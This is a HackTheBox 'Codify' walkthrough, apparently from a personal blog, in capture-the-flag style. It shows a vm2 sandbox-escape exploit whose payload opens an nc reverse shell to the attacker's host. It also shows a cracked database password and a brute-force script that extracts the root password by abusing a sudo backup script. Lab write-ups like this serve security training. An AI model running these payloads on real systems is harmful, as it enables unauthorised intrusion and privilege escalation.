Codify
HackTheBox Machine ➡️ Easy #Node.js #sqlite #Password Bruteforce #Public Exploit
Port Scan Results ➡️
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/Downloads/HTB/Codify]
└─$ nmap -sC -sV -p- -T4 -oN Nmap_Result.txt 10.10.11.239
Warning: 10.10.11.239 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.239
Host is up (0.20s latency).
Not shown: 65474 closed tcp ports (reset), 56 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open http Node.js Express framework
|_http-title: Codify
8080/tcp open tcpwrapped
8081/tcp open blackice-icecap?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WWWOFFLEctrlstat, X11Probe:
| HTTP/1.1 400 Bad Request
| Connection: close
| FourOhFourRequest, GetRequest:
| HTTP/1.1 200 OK
| Content-Type: text/plain
| Date: Fri, 10 Nov 2023 09:08:23 GMT
| Connection: close
| loulou
| HTTPOptions, RTSPRequest:
| HTTP/1.1 200 OK
| Content-Type: text/plain
| Date: Fri, 10 Nov 2023 09:08:30 GMT
| Connection: close
|_ loulou
1 service unrecognized despite returning data.
Web Enumeration ➡️
I checked port 80 and and I redirected to codify.htb domain name so I set the /etc/hosts file and I got the webpage →
while enumeartion in about tab I noticed this VM2 library and recon on it futher more on it →
I found the same version of vm2 exploit from internet here it is →
https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.201 4444 >/tmp/f');
}
`
console.log(vm.run(code));
Same way I can get the reverse shell from it →
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads/HTB/Codify]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.201] from (UNKNOWN) [10.10.11.239] 35584
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc@codify:~$ whoami
whoami
svc
svc@codify:~$ id
id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$
while inner enumeration I got a file related to sqlite →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc@codify:/var/www/contact$ ls -al
ls -al
total 120
drwxr-xr-x 3 svc svc 4096 Sep 12 17:45 .
drwxr-xr-x 5 root root 4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc svc 4377 Apr 19 2023 index.js
-rw-rw-r-- 1 svc svc 268 Apr 19 2023 package.json
-rw-rw-r-- 1 svc svc 77131 Apr 19 2023 package-lock.json
drwxrwxr-x 2 svc svc 4096 Apr 21 2023 templates
-rw-r--r-- 1 svc svc 20480 Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$
svc@codify:/var/www/contact$ file tickets.db
file tickets.db
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, d
atabase pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$
I then tranfered the tickets.db
file into the attackers machine through wget and python3 server and opened that file with sqlite browser and I got some date through this →
Lets try to decode this password with hashcat Tool →
1
2
{: .nolineno}
joshua : spongebob1
I now Logged in as joshua and I executed sudo -l
so that I can escalated the privileges to root user →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
joshua@codify:~$ ls -al
total 36
drwxrwx--- 4 joshua joshua 4096 Nov 17 06:29 .
drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 ..
lrwxrwxrwx 1 root root 9 May 30 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 joshua joshua 220 Apr 21 2023 .bash_logout
-rw-r--r-- 1 joshua joshua 3771 Apr 21 2023 .bashrc
drwx------ 2 joshua joshua 4096 Sep 14 14:44 .cache
drwxrwxr-x 3 joshua joshua 4096 Nov 17 06:29 .local
-rw-r--r-- 1 joshua joshua 807 Apr 21 2023 .profile
-rw-r----- 1 root joshua 33 Nov 17 05:10 user.txt
-rw-r--r-- 1 joshua joshua 39 Sep 14 14:45 .vimrc
joshua@codify:~$ cat user.txt
fd1f48fd367fd2a139d6b12db7e6d881
joshua@codify:~$
joshua@codify:~$ sudo -l
[sudo] password for joshua:
Matching Defaults entries for joshua on codify:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.sh
joshua@codify:~$
Lets look into mysql-backup.sh
file →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"
read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo
if [[ $DB_PASS == $USER_PASS ]]; then
/usr/bin/echo "Password confirmed!"
else
/usr/bin/echo "Password confirmation failed!"
exit 1
fi
/usr/bin/mkdir -p "$BACKUP_DIR"
databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")
for db in $databases; do
/usr/bin/echo "Backing up database: $db"
/usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done
/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'
Here the content of
mysql-backup.sh
wants password to be verified for root user so for that there is a==
comparison operator that will compair each characteres for the root user with input value so I have to create a automated bruteforce script , This script will try to compare each character with the root password. If a character matches, it will be added to another variable called password. Then the script will try the next character and repeat the process until there are no more characters left to match.
I used chatGPT to create this python code →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string
import subprocess
def run_command(command):
return subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
def find_password():
all = list(string.ascii_letters + string.digits)
password = ""
found = False # This is a flag variable to indicate whether the password is found or not
while not found: # This is the condition for the loop to repeat
for character in all:
output = run_command(f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh")
if "Password confirmed!" in output:
password += character
print(password)
break
else: # This is executed when the for loop ends without breaking
found = True # This changes the flag variable to stop the while loop
return password
password = find_password()
Now lets see the result of this →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
joshua@codify:~$ python3 brute.py
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:~$
Now I have this password for root user kljh12k3jhaskjh12kjh3
Lets Login as root user →
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
joshua@codify:~$ su root
Password:
root@codify:/home/joshua# cd ~
root@codify:~# ls -al
total 40
drwx------ 5 root root 4096 Sep 26 09:35 .
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
lrwxrwxrwx 1 root root 9 Sep 14 03:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 22 May 8 2023 .creds
drwxr-xr-x 3 root root 4096 Sep 26 09:35 .local
lrwxrwxrwx 1 root root 9 Sep 14 03:34 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Nov 17 05:10 root.txt
drwxr-xr-x 4 root root 4096 Sep 12 16:56 scripts
drwx------ 2 root root 4096 Sep 14 03:31 .ssh
-rw-r--r-- 1 root root 39 Sep 14 03:26 .vimrc
root@codify:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:1a:06 brd ff:ff:ff:ff:ff:ff
altname enp3s0
altname ens160
inet 10.10.11.239/23 brd 10.10.11.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:1a06/64 scope global dynamic mngtmpaddr
valid_lft 86399sec preferred_lft 14399sec
inet6 fe80::250:56ff:feb9:1a06/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:11:8b:4e:ad brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
4: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:35:d9:ff:9f brd ff:ff:ff:ff:ff:ff
inet 172.18.0.1/16 brd 172.18.255.255 scope global br-030a38808dbf
valid_lft forever preferred_lft forever
5: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:0e:aa:1b:ee brd ff:ff:ff:ff:ff:ff
inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5ab86a4e40d0
valid_lft forever preferred_lft forever
inet6 fe80::42:eff:feaa:1bee/64 scope link
valid_lft forever preferred_lft forever
7: veth1ecf062@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default
link/ether a2:1c:d7:02:29:1e brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::a01c:d7ff:fe02:291e/64 scope link
valid_lft forever preferred_lft forever
root@codify:~# hostname
codify
root@codify:~# whoami
root
root@codify:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codify:~# cat root.txt
6e8be6c12de4711d2e1669c8d16c7d21
root@codify:~#
Now I am root !!
If you have any questions or suggestions, please leave a comment below. Thank You !